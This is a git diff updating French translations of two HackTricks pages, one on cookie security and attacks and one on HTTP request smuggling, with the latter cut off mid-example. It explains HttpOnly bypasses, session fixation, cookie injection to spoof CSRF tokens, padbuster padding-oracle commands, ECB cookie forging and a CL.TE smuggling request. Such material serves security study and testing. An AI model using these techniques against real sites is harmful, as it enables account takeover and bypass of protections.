* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Trouvez les vulnérabilités les plus importantes pour les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans toute votre pile technologique, des API aux applications web et systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
|
||||
Trouvez les vulnérabilités les plus importantes pour les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -29,7 +31,7 @@ Trouvez les vulnérabilités les plus importantes pour les corriger plus rapidem
|
|||
|
||||
### **Domain**
|
||||
|
||||
L'attribut `Domain` spécifie **quels hôtes peuvent recevoir un cookie**. S'il n'est pas spécifié, l'attribut **prend par défaut** le **même hôte** qui a défini le cookie, _**à l'exclusion des sous-domaines**_. **Si `Domain` est** **spécifié**, alors **les sous-domaines sont toujours inclus**. Par conséquent, spécifier `Domain` est moins restrictif que de ne pas le faire. Cependant, cela peut être utile lorsque les sous-domaines doivent partager des informations sur un utilisateur.
|
||||
L'attribut `Domain` spécifie **quels hôtes peuvent recevoir un cookie**. S'il n'est pas spécifié, l'attribut **prend par défaut** le **même hôte** qui a défini le cookie, _**à l'exclusion des sous-domaines**_. **Si `Domain` est** **spécifié**, alors **les sous-domaines sont toujours inclus**. Par conséquent, spécifier `Domain` est moins restrictif que de l'omettre. Cependant, cela peut être utile lorsque les sous-domaines doivent partager des informations sur un utilisateur.
|
||||
|
||||
Par exemple, si vous définissez `Domain=mozilla.org`, les cookies sont disponibles sur des sous-domaines comme `developer.mozilla.org`. Mais si vous ne le faites pas, le cookie ne sera pas envoyé aux sous-domaines.
|
||||
|
||||
|
@ -67,21 +69,22 @@ Cela indiquera au navigateur si le **cookie** peut être envoyé **depuis d'autr
|
|||
Tableau de [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) et légèrement modifié.\
|
||||
Un cookie avec l'attribut _**SameSite**_ **atténuera les attaques CSRF** où une session connectée est nécessaire.
|
||||
|
||||
**\*Notez que depuis Chrome80 (fév/2019) le comportement par défaut d'un cookie sans attribut samesite** **sera lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
**\*Remarquez qu'à partir de Chrome80 (fév/2019) le comportement par défaut d'un cookie sans attribut samesite** **sera lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
Notez que temporairement, après l'application de ce changement, les **cookies sans politique SameSite** dans Chrome seront **traités comme None** pendant les **premières 2 minutes puis comme Lax pour les requêtes POST inter-sites de niveau supérieur.**
|
||||
|
||||
## Drapeaux des Cookies
|
||||
|
||||
### HttpOnly
|
||||
|
||||
Cela empêche le **client** d'accéder au cookie (via **Javascript** par exemple : `document.cookie`)
|
||||
Cela empêche le **client** d'accéder au cookie (Via **Javascript** par exemple : `document.cookie`)
|
||||
|
||||
#### **Contournements**
|
||||
|
||||
* Si la page **envoie les cookies en réponse** à une requête (par exemple sur une page **PHPinfo**), il est possible d'exploiter une faille XSS pour envoyer une requête à cette page et **voler les cookies** de la réponse (voir un exemple sur [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
|
||||
* Ce contournement est possible avec des requêtes **TRACE** **HTTP** car la réponse du serveur (si cette méthode HTTP est disponible) reflétera les cookies envoyés. Cette technique est appelée **Cross-Site Tracking**.
|
||||
* Cette technique est évitée par les **navigateurs modernes en ne permettant pas l'envoi d'une requête TRACE** depuis JS. Cependant, des contournements ont été trouvés dans des logiciels spécifiques comme l'envoi de `\r\nTRACE` au lieu de `TRACE` à IE6.0 SP2.
|
||||
* Une autre méthode est l'exploitation de vulnérabilités zero/day des navigateurs.
|
||||
* Il est possible de **réécrire des cookies HttpOnly** en réalisant une attaque par débordement de Cookie Jar :
|
||||
* Si la page **envoie les cookies comme réponse** à une requête (par exemple sur une page **PHPinfo**), il est possible d'abuser du XSS pour envoyer une requête à cette page et **voler les cookies** de la réponse (consultez un exemple sur [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
|
||||
* Cela pourrait être contourné avec des requêtes **HTTP TRACE** car la réponse du serveur (si cette méthode HTTP est disponible) reflétera les cookies envoyés. Cette technique est appelée **Cross-Site Tracking**.
|
||||
* Cette technique est évitée par les **navigateurs modernes en ne permettant pas l'envoi d'une requête TRACE** depuis JS. Cependant, certains contournements ont été trouvés dans des logiciels spécifiques comme l'envoi de `\r\nTRACE` au lieu de `TRACE` à IE6.0 SP2.
|
||||
* Une autre façon est l'exploitation de vulnérabilités zero/day des navigateurs.
|
||||
* Il est possible de **réécrire des cookies HttpOnly** en effectuant une attaque par débordement de Cookie Jar :
|
||||
|
||||
{% content-ref url="cookie-jar-overflow.md" %}
|
||||
[cookie-jar-overflow.md](cookie-jar-overflow.md)
|
||||
|
@ -91,7 +94,7 @@ Cela empêche le **client** d'accéder au cookie (via **Javascript** par exemple
|
|||
|
||||
### Secure
|
||||
|
||||
La requête n'enverra le cookie dans une requête HTTP que si la requête est transmise sur un canal sécurisé (typiquement **HTTPS**).
|
||||
La requête **n'envoie** le cookie dans une requête HTTP **que si** la requête est transmise sur un canal sécurisé (typiquement **HTTPS**).
|
||||
|
||||
## Préfixes des Cookies
|
||||
|
||||
|
@ -99,15 +102,15 @@ La requête n'enverra le cookie dans une requête HTTP que si la requête est tr
|
|||
|
||||
**Préfixe `__Host-`** : doit être défini avec le drapeau `secure`, doit provenir d'une page sécurisée (HTTPS), ne doit pas avoir de domaine spécifié (et donc, n'est pas envoyé aux sous-domaines), et le chemin doit être `/`.
|
||||
|
||||
Les cookies préfixés par `__Host-` ne peuvent pas être envoyés aux superdomaines (cookies de sous-domaines vers domaines) ou sous-domaines (cookies de domaines vers sous-domaines), donc, si vous voulez isoler les cookies de votre application, les préfixer avec `__Host-` est une bonne idée.
|
||||
Les cookies préfixés par `__Host-` ne peuvent pas être envoyés aux superdomaines (cookies des sous-domaines vers les domaines) ou aux sous-domaines (cookies des domaines vers les sous-domaines), donc, si vous voulez isoler les cookies de votre application, les préfixer tous avec `__Host-` n'est pas une mauvaise idée.
|
||||
|
||||
## Attaques sur les Cookies
|
||||
|
||||
Si vous trouvez un cookie personnalisé contenant des données sensibles (sessionID, nom d'utilisateur, emails, etc.), vous devriez définitivement essayer de l'exploiter
|
||||
Si vous trouvez un type de cookie personnalisé contenant des données sensibles (sessionID, nom d'utilisateur, emails, etc.), vous devriez absolument essayer de l'exploiter
|
||||
|
||||
### Décodage du cookie
|
||||
|
||||
Si le **cookie** utilise un **encodage de base** (comme Base64) ou similaire, vous pourriez être capable de **le décoder**, **changer** le **contenu** et **usurper** l'identité d'utilisateurs arbitraires.
|
||||
Si le **cookie** utilise un **encodage de base** (comme Base64) ou similaire, vous pourriez être capable de **le décoder**, **changer** le **contenu** et **usurper** des utilisateurs arbitraires.
|
||||
|
||||
### Détournement de session
|
||||
|
||||
|
@ -115,9 +118,9 @@ Voler un cookie et l'utiliser pour usurper l'identité de l'utilisateur au sein
|
|||
|
||||
### Fixation de session
|
||||
|
||||
L'attaquant obtient un cookie d'une page web et envoie un lien à la victime pour **se connecter en utilisant le même cookie**. Si le cookie n'est pas changé lorsqu'un utilisateur se connecte, cela pourrait être utile car l'attaquant pourrait être capable d'usurper l'identité de l'utilisateur via un cookie.
|
||||
L'attaquant obtient un cookie d'une page web et envoie un lien à la victime pour **se connecter en utilisant le même cookie**. Si le cookie n'est pas changé lorsqu'un utilisateur se connecte, cela pourrait être utile car l'attaquant pourrait être capable d'usurper l'utilisateur à travers un cookie.
|
||||
|
||||
Si vous avez trouvé une **XSS dans un sous-domaine** ou si vous **contrôlez un sous-domaine**, lisez :
|
||||
Si vous avez trouvé un **XSS dans un sous-domaine** ou si vous **contrôlez un sous-domaine**, lisez :
|
||||
|
||||
{% content-ref url="cookie-tossing.md" %}
|
||||
[cookie-tossing.md](cookie-tossing.md)
|
||||
|
@ -127,7 +130,7 @@ Si vous avez trouvé une **XSS dans un sous-domaine** ou si vous **contrôlez un
|
|||
|
||||
L'attaquant envoie sa propre session à la victime. La victime verra qu'elle est déjà connectée et supposera qu'elle est dans son compte mais **les actions seront effectuées dans le compte de l'attaquant**.
|
||||
|
||||
Si vous avez trouvé une **XSS dans un sous-domaine** ou si vous **contrôlez un sous-domaine**, lisez :
|
||||
Si vous avez trouvé un **XSS dans un sous-domaine** ou si vous **contrôlez un sous-domaine**, lisez :
|
||||
|
||||
{% content-ref url="cookie-tossing.md" %}
|
||||
[cookie-tossing.md](cookie-tossing.md)
|
||||
|
@ -137,7 +140,7 @@ Si vous avez trouvé une **XSS dans un sous-domaine** ou si vous **contrôlez un
|
|||
|
||||
Cliquez sur le lien précédent pour accéder à une page expliquant les failles possibles dans les JWT.
|
||||
|
||||
### Cookie vide
|
||||
### Cookie Vide
|
||||
|
||||
Les navigateurs permettent un cookie avec un nom vide
|
||||
```js
|
||||
|
@ -145,7 +148,7 @@ document.cookie = "a=v1"
|
|||
document.cookie = "=test value;" // empty name
|
||||
document.cookie = "b=v2"
|
||||
```
|
||||
Cela résulte dans l'entête de cookie envoyé :
|
||||
Cela entraîne l'envoi de l'en-tête de cookie :
|
||||
```
|
||||
a=v1; test value; b=v2;
|
||||
```
|
||||
|
@ -165,7 +168,7 @@ Cela signifie que chaque serveur web l'interprétera comme le cookie `a` étant
|
|||
|
||||
### Bug Chrome - corruption de document.cookie <a href="#chrome-bugdocumentcookie-corruption" id="chrome-bugdocumentcookie-corruption"></a>
|
||||
|
||||
Si un point de code de substitution unicode est présent dans un cookie défini, `document.cookie` sera définitivement corrompu et renverra une chaîne vide.
|
||||
Si un point de code substitut Unicode est présent dans un cookie défini, `document.cookie` sera définitivement corrompu et renverra une chaîne vide.
|
||||
```js
|
||||
document.cookie
|
||||
// "a=b;"
|
||||
|
@ -195,7 +198,7 @@ Dans le cas d'**Undertow**, il commence l'analyse du cookie suivant immédiateme
|
|||
```bash
|
||||
LANGUAGE="en-us" CSRF_TOKEN="SPOOFED_VALUE"
|
||||
```
|
||||
**Zope** commence l'analyse du prochain cookie sur une **virgule** :
|
||||
**Zope** commence l'analyse du cookie suivant sur une **virgule** :
|
||||
```bash
|
||||
LANGUAGE=en-us,CSRF_TOKEN=SPOOFED_VALUE
|
||||
```
|
||||
|
@ -205,7 +208,7 @@ LANGUAGE=en-us CSRF_TOKEN=SPOOFED_VALUE
|
|||
```
|
||||
En conséquence, les serveurs tels que **cherrypy**, **web.py**, **aiohttp** server, **bottle** et **webob** (Pyramid, TurboGears) sont tous vulnérables à ce type d'attaque.
|
||||
|
||||
Ce problème présente des **implications de sécurité** significatives. Par exemple, si une application web utilise une **protection CSRF basée sur les cookies**, un attaquant peut **injecter** un **cookie de jeton CSRF** falsifié pour contourner cette protection. De plus, le dernier nom de cookie en double dans les packages http.cookie de Python remplace tous les précédents, rendant ce type d'attaque particulièrement facile.
|
||||
Ce problème présente des **implications de sécurité** significatives. Par exemple, si une application web utilise une **protection CSRF basée sur les cookies**, un attaquant peut **injecter** un **cookie de jeton CSRF** falsifié pour contourner cette protection. De plus, le dernier nom de cookie en double dans les paquets http.cookie de Python remplace tous les précédents, rendant ce type d'attaque particulièrement facile.
|
||||
|
||||
De plus, le **spoofing** des cookies **`__Secure-`** et **`__Host-`** peut être abusé dans un contexte non sécurisé. Aussi, dans une configuration où les cookies sont transmis à un serveur backend, **l'injection de cookies pourrait conduire à des contournements d'autorisation** si le serveur backend est sensible au spoofing mais pas le serveur frontend.
|
||||
|
||||
|
@ -226,10 +229,10 @@ De plus, le **spoofing** des cookies **`__Secure-`** et **`__Host-`** peut être
|
|||
Si le cookie reste le même (ou presque) lorsque vous vous connectez, cela signifie probablement que le cookie est lié à un champ de votre compte (probablement le nom d'utilisateur). Alors vous pouvez :
|
||||
|
||||
* Essayez de créer beaucoup de **comptes** avec des noms d'utilisateur très **similaires** et essayez de **deviner** comment fonctionne l'algorithme.
|
||||
* Essayez de **forcer brutalement le nom d'utilisateur**. Si le cookie ne sert que de méthode d'authentification pour votre nom d'utilisateur, alors vous pouvez créer un compte avec le nom d'utilisateur "**Bmin**" et **forcer brutalement** chaque **bit** de votre cookie car l'un des cookies que vous essayerez sera celui appartenant à "**admin**".
|
||||
* Essayez de **forcer brutalement le nom d'utilisateur**. Si le cookie sert uniquement de méthode d'authentification pour votre nom d'utilisateur, alors vous pouvez créer un compte avec le nom d'utilisateur "**Bmin**" et **forcer brutalement** chaque **bit** de votre cookie car l'un des cookies que vous essayerez sera celui appartenant à "**admin**".
|
||||
* Essayez **Padding Oracle** (vous pouvez déchiffrer le contenu du cookie). Utilisez **padbuster**.
|
||||
|
||||
**Padding Oracle - Exemples d'utilisation de Padbuster**
|
||||
**Padding Oracle - Exemples avec Padbuster**
|
||||
```bash
|
||||
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
|
||||
# When cookies and regular Base64
|
||||
|
@ -251,7 +254,7 @@ Cette exécution vous donnera le cookie correctement chiffré et encodé avec la
|
|||
|
||||
**CBC-MAC**
|
||||
|
||||
Peut-être qu'un cookie pourrait avoir une certaine valeur et pourrait être signé en utilisant CBC. Ensuite, l'intégrité de la valeur est la signature créée en utilisant CBC avec la même valeur. Comme il est recommandé d'utiliser comme IV un vecteur nul, ce type de vérification d'intégrité pourrait être vulnérable.
|
||||
Il se peut qu'un cookie ait une certaine valeur et soit signé en utilisant CBC. Ensuite, l'intégrité de la valeur est la signature créée en utilisant CBC avec la même valeur. Comme il est recommandé d'utiliser comme IV un vecteur nul, ce type de vérification d'intégrité pourrait être vulnérable.
|
||||
|
||||
**L'attaque**
|
||||
|
||||
|
@ -266,11 +269,11 @@ Lorsque vous vous connectez, le cookie que vous recevez doit toujours être le m
|
|||
|
||||
**Comment détecter et attaquer :**
|
||||
|
||||
Créez 2 utilisateurs avec presque les mêmes données (nom d'utilisateur, mot de passe, email, etc.) et essayez de découvrir un motif à l'intérieur du cookie donné
|
||||
Créez 2 utilisateurs avec des données presque identiques (nom d'utilisateur, mot de passe, email, etc.) et essayez de découvrir un motif à l'intérieur du cookie donné
|
||||
|
||||
Créez un utilisateur appelé par exemple "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" et vérifiez s'il y a un motif dans le cookie (comme ECB chiffre avec la même clé chaque bloc, les mêmes octets chiffrés pourraient apparaître si le nom d'utilisateur est chiffré).
|
||||
|
||||
Il devrait y avoir un motif (avec la taille d'un bloc utilisé). Ainsi, sachant comment un tas de "a" est chiffré, vous pouvez créer un nom d'utilisateur : "a"\*(taille du bloc)+"admin". Ensuite, vous pourriez supprimer le motif chiffré d'un bloc de "a" du cookie. Et vous aurez le cookie du nom d'utilisateur "admin".
|
||||
Il devrait y avoir un motif (de la taille d'un bloc utilisé). Ainsi, sachant comment un tas de "a" est chiffré, vous pouvez créer un nom d'utilisateur : "a"\*(taille du bloc)+"admin". Ensuite, vous pourriez supprimer le motif chiffré d'un bloc de "a" du cookie. Et vous aurez le cookie du nom d'utilisateur "admin".
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -278,19 +281,21 @@ Il devrait y avoir un motif (avec la taille d'un bloc utilisé). Ainsi, sachant
|
|||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Trouvez les vulnérabilités qui comptent le plus afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des scans de menaces proactifs, trouve des problèmes dans toute votre pile technologique, des API aux applications web et systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
|
||||
Trouvez les vulnérabilités qui comptent le plus afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des scans de menaces proactifs, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,19 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Qu'est-ce que c'est
|
||||
|
||||
Cette vulnérabilité se produit lorsqu'une **désynchronisation** entre les **proxys frontaux** et le **serveur back-end** permet à un **attaquant** d'envoyer une **requête HTTP** qui sera **interprétée** comme une **seule requête** par les **proxys frontaux** (équilibrage de charge/reverse-proxy) et **comme 2 requêtes** par le **serveur back-end**.\
|
||||
Cette vulnérabilité se produit lorsqu'une **désynchronisation** entre les **proxies frontaux** et le serveur **back-end** permet à un **attaquant** d'**envoyer** une requête HTTP qui sera **interprétée** comme une **requête unique** par les proxies frontaux (équilibreur de charge/proxy inverse) et **comme 2 requêtes** par le serveur **back-end**.\
|
||||
Cela permet à un utilisateur de **modifier la prochaine requête qui arrive au serveur back-end après la sienne**.
|
||||
|
||||
### Théorie
|
||||
|
@ -25,37 +27,37 @@ Cela permet à un utilisateur de **modifier la prochaine requête qui arrive au
|
|||
|
||||
**Content-Length**
|
||||
|
||||
> L'en-tête d'entité Content-Length indique la taille du corps de l'entité, en octets, envoyé au destinataire.
|
||||
> L'en-tête d'entité Content-Length indique la taille du corps de l'entité, en octets, envoyée au destinataire.
|
||||
|
||||
**Transfer-Encoding: chunked**
|
||||
|
||||
> L'en-tête Transfer-Encoding spécifie la forme de codage utilisée pour transférer en toute sécurité le corps de la charge utile à l'utilisateur.\
|
||||
> Chunked signifie que de grandes données sont envoyées sous forme de séries de fragments.
|
||||
> Chunked signifie que des données volumineuses sont envoyées en une série de morceaux
|
||||
|
||||
### Réalité
|
||||
|
||||
Le **proxy frontal** (un équilibrage de charge / reverse-proxy) **traite** l'en-tête _**content-length**_ ou l'en-tête _**transfer-encoding**_ et le **serveur back-end** **traite l'autre** en provoquant une **désynchronisation** entre les 2 systèmes.\
|
||||
Cela peut être très critique car **un attaquant pourra envoyer une requête** au proxy inverse qui sera **interprétée** par le serveur **back-end comme 2 requêtes différentes**. Le **danger** de cette technique réside dans le fait que le serveur **back-end interprétera** la **2ème requête injectée** comme si elle **venait du client suivant** et la **requête réelle** de ce client fera **partie** de la **requête injectée**.
|
||||
Le **Front-End** (un équilibreur de charge / Proxy inverse) **traite** l'en-tête _**content-length**_ ou l'en-tête _**transfer-encoding**_ et le serveur **Back-end** **traite l'autre**, provoquant une **désynchronisation** entre les 2 systèmes.\
|
||||
Cela pourrait être très critique car **un attaquant pourra envoyer une requête** au proxy inverse qui sera **interprétée** par le serveur **back-end** **comme 2 requêtes différentes**. Le **danger** de cette technique réside dans le fait que le serveur **back-end** **interprétera** la **2ème requête injectée** comme si elle **provenait du client suivant** et la **vraie requête** de ce client fera **partie** de la **requête injectée**.
|
||||
|
||||
### Particularités
|
||||
|
||||
Rappelez-vous qu'en HTTP, **un caractère de nouvelle ligne est composé de 2 octets** :
|
||||
Rappelez-vous qu'en HTTP **un caractère de nouvelle ligne est composé de 2 octets :**
|
||||
|
||||
* **Content-Length** : Cet en-tête utilise un **nombre décimal** pour indiquer le **nombre d'octets** du **corps** de la requête. Le corps est censé se terminer par le dernier caractère, **une nouvelle ligne n'est pas nécessaire à la fin de la requête**.
|
||||
* **Transfer-Encoding** : Cet en-tête utilise dans le **corps** un **nombre hexadécimal** pour indiquer le **nombre d'octets** du **prochain fragment**. Le **fragment** doit se terminer par une **nouvelle ligne**, mais cette nouvelle ligne **n'est pas comptée** par l'indicateur de longueur. Cette méthode de transfert doit se terminer par un **fragment de taille 0 suivi de 2 nouvelles lignes** : `0`
|
||||
* **Connection** : D'après mon expérience, il est recommandé d'utiliser **`Connection: keep-alive`** sur la première requête de la requête Smuggling.
|
||||
* **Content-Length** : Cet en-tête utilise un **nombre décimal** pour indiquer le **nombre** d'**octets** du **corps** de la requête. Le corps est censé se terminer au dernier caractère, **une nouvelle ligne n'est pas nécessaire à la fin de la requête**.
|
||||
* **Transfer-Encoding :** Cet en-tête utilise dans le **corps** un **nombre hexadécimal** pour indiquer le **nombre** d'**octets** du **prochain morceau**. Le **morceau** doit **se terminer** par une **nouvelle ligne** mais cette nouvelle ligne **n'est pas comptée** par l'indicateur de longueur. Cette méthode de transfert doit se terminer par un **morceau de taille 0 suivi de 2 nouvelles lignes** : `0`
|
||||
* **Connection** : D'après mon expérience, il est recommandé d'utiliser **`Connection: keep-alive`** sur la première requête du Smuggling de requête.
|
||||
|
||||
## Exemples de base
|
||||
|
||||
Ainsi, les attaques de requête smuggling consistent à placer à la fois l'en-tête `Content-Length` et l'en-tête `Transfer-Encoding` dans une seule requête HTTP et à les manipuler de manière à ce que les serveurs frontal et back-end traitent la requête différemment. La manière exacte dont cela est fait dépend du comportement des deux serveurs :
|
||||
Ainsi, les attaques de Smuggling de requête impliquent de placer à la fois l'en-tête `Content-Length` et l'en-tête `Transfer-Encoding` dans une seule requête HTTP et de les manipuler de manière à ce que les serveurs frontal et back-end traitent la requête différemment. La manière exacte de procéder dépend du comportement des deux serveurs :
|
||||
|
||||
* **CL.TE** : le serveur frontal utilise l'en-tête `Content-Length` et le serveur back-end utilise l'en-tête `Transfer-Encoding`.
|
||||
* **TE.CL** : le serveur frontal utilise l'en-tête `Transfer-Encoding` et le serveur back-end utilise l'en-tête `Content-Length`.
|
||||
* **TE.TE** : les serveurs frontal et back-end prennent tous deux en charge l'en-tête `Transfer-Encoding`, mais l'un des serveurs peut être amené à ne pas le traiter en obfusquant l'en-tête d'une manière ou d'une autre.
|
||||
* **TE.TE** : les serveurs frontal et back-end prennent tous deux en charge l'en-tête `Transfer-Encoding`, mais l'un des serveurs peut être induit à ne pas le traiter en obscurcissant l'en-tête d'une certaine manière.
|
||||
|
||||
### Vulnérabilités CL.TE
|
||||
|
||||
Ici, le serveur frontal utilise l'en-tête **`Content-Length`** et le serveur back-end utilise l'en-tête **`Transfer-Encoding`**. Nous pouvons effectuer une attaque simple de requête smuggling HTTP de la manière suivante :
|
||||
Ici, le serveur **frontal** utilise l'en-tête **`Content-Length`** et le serveur **back-end** utilise l'en-tête **`Transfer-Encoding`**. Nous pouvons effectuer une attaque simple de Smuggling de requête HTTP comme suit :
|
||||
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
|
@ -66,10 +68,11 @@ Ici, le serveur frontal utilise l'en-tête **`Content-Length`** et le serveur ba
|
|||
`GET /404 HTTP/1.1`\
|
||||
`Foo: x`
|
||||
|
||||
Notez comment `Content-Length` indique que la longueur de la requête est de **30 octets** (_rappelez-vous que HTTP utilise une nouvelle ligne, donc 2 octets pour chaque nouvelle ligne_), donc le proxy inverse **enverra la requête complète** au serveur back-end, et le serveur back-end traitera l'en-tête `Transfer-Encoding`, laissant `GET /404 HTTP/1.1` comme le **début de la prochaine requête** (au fait, la prochaine requête sera ajoutée à `Foo:x<La prochaine requête commence ici>`).
|
||||
